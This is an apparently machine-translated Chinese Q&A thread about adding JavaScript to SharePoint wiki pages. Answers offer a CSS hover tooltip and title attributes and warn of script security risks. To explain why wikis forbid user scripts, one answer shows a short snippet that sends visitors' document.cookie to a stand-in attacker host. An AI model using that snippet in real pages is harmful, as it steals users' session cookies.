作为维基管理员,我怎样才能将脚本(Javascript)输入Sharepoint wiki页面?
我想输入一个标题,点击它时,在它下面显示一个小的解释。我通常使用JavaScript,任何其他想法做到这一点?如何在wiki页面输入Javascript?
回答
假设您是wiki的管理员,并且愿意在鼠标悬停而不是点击上显示此内容,则根本不需要JavaScript - 您可以使用直接CSS。这里的的风格和标记的例子:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
对于一些更复杂的风格,你的工具提示框,可以看起来不错,只要你愿意。
这听起来像是一种安全风险。维基管理员似乎可以安装脚本,请参阅wikipedia's user scripts。
您应该无法为任何公开wiki添加JavaScript代码。如果您自己托管它,那么您需要请求一个特定的wiki系统,以便有人可以帮助您修改设置 - 如果可能的话对于该系统。
如果你在谈论使用Javascript在该网站网页的一部分,你不能。或者任何其他公开的wiki - 这是一个安全风险。
如果你在谈论张贴代码示例,请点击文本框上方的“101010”按钮。
这当然取决于您正在与之交谈的wiki引擎。正如sblundy所说,尽管如此,最有可能在wiki页面上允许免费使用javascript的安全风险。
它完全取决于您使用的特定Wiki软件。我见过的工作方式是在其他地方托管一个js文件,然后包含一个带有src属性的脚本标签。
如果他们不允许,也许他们允许,你可以设置为一个包含脚本的网页的IFRAME。使用第二种技术,您将不被允许访问主机页面的DOM。
添加title="text here"
任何标签,并在其上悬停时,它应显示文本。
当您使用alt="text here"
属性时,Internet Explorer将显示文本,尽管这不符合标准。
我现在测试,你可以添加<h2 title="some explanation here">headline</h2>
基于维基的任何系统(在一个维基百科使用)。
如果维基作者是明智的,有可能是没有办法做到这一点。
用户提供的JavaScript的问题在于,它为所有形式的邪恶者打开了从毫无防备的数据中获取数据的大门。
让我们假设邪恶 - 我张贴的脚本在公共网站:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
现在我将收到每个访问者的页面的cookie信息,贴到我的服务器上的日志。这只是冰山一角。
我喜欢CSS答案。当你可以使用CSS而不是Javascript时,它会产生更简单的标记。
另一个需要研究的问题是Codeplex上的SharePoint增强版Wiki社区工具包。您可以下载源代码并添加自己的功能。或者您可以将其作为论坛中的一项新功能。
- 1. 如何自动更新trac wiki页面?
- 2. 如何在asp.net页面上写入javascript
- 3. 来自页面的JavaScript变量输入?
- 4. 如何从PHP页面输入python
- 5. wordpress:如何把一个输入页面?
- 6. 如何在FogBugz wiki页面中创建HTML锚点?
- 7. 如何在github wiki页面中制作“spoiler”文本?
- 8. 如何在Confluence wiki上为页面创建可搜索属性?
- 9. 如何在Django wiki中动态创建新页面?
- 10. 如何使用Wiki扩展(WPMW)内的Wiki Media API工具将内容写入/添加到页面
- 11. 如何将页面设置为Google Code上的默认wiki页面?
- 12. 无法将自定义wiki页面添加到wiki库
- 13. 如何在javascript测验页面中添加其他(输入文本选项)
- 14. 从更新或添加的wiki页面
- 15. 将Google Analytics添加到Github wiki页面
- 16. 如何将输入框从页面中心移动到页面顶部的输入焦点在css中?
- 17. Javascript。通过AJAX在页面中传递输入变量
- 18. 如何为单个Wiki页面设置权限?
- 19. IBM Connections API - 如何将文件附加到wiki页面?
- 20. 如何从JS API读取github wiki页面?
- 21. 如何从MediaWiki wiki永久删除页面?
- 22. 如何通过脚本创建一个Redmine wiki页面?
- 23. 如何将GitHub Wiki转换为GitHub页面?
- 24. 如何更改Trac wiki中的默认登录页面?
- 25. TRAC:如何将组件/里程碑添加到wiki页面?
- 26. 在任何Trac wiki页面上获取用户名(Trac 0.11)
- 27. 将wiki页面设置为我在Redmine上的主页3.2.1
- 28. NSIS用户输入页面
- 29. 插入JavaScript的HTML页面
- 30. 将javascript插入页面
你是维基网站管理员还是其他用户。 – sblundy 2008-09-17 21:15:36
这改变了一切。请更新您的问题并加入您的wiki平台。 – sblundy 2008-09-17 21:21:51